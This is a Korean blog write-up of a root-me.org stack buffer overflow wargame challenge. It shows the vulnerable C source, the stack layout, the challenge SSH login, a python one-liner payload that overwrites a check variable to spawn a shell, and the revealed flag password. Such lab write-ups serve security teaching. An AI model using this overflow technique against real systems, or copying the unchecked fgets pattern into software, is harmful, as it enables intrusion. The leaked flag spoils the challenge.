ii4gsp
root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 1 본문
시스템 해킹/root-me.org [APP - System]
root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 1
ii4gsp 2020. 2. 3. 19:55#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}
문제 소스코드이다.
fgets()함수에서 취약점이 발생한다.
ssh -p 2222 app-systeme-ch13@challenge02.root-me.org
password: app-systeme-ch13
ssh 서버에 접속해주자.
int var;
int check = 0x04030201;
char buf[40];
변수가 선언된 순서가 var -> check -> buf이다.
따라서 스택의 구조는
buf[40]
________
check
________
var
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
buf 40byte를 채우고 check에 0xdeadbeef를 리틀 엔디언 방식으로 넣어주면 쉘이 실행된다.
password: 1w4ntm0r3pr0np1s
payload
(python -c 'print "\x90" * 40 + "\xef\xbe\xad\xde"';cat) | ./ch13
'시스템 해킹 > root-me.org [APP - System]' 카테고리의 다른 글
root-me.org [APP-System] ELF x64 - Stack buffer overflow - basic (2) | 2020.02.11 |
---|---|
root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 2 (0) | 2020.02.03 |
Comments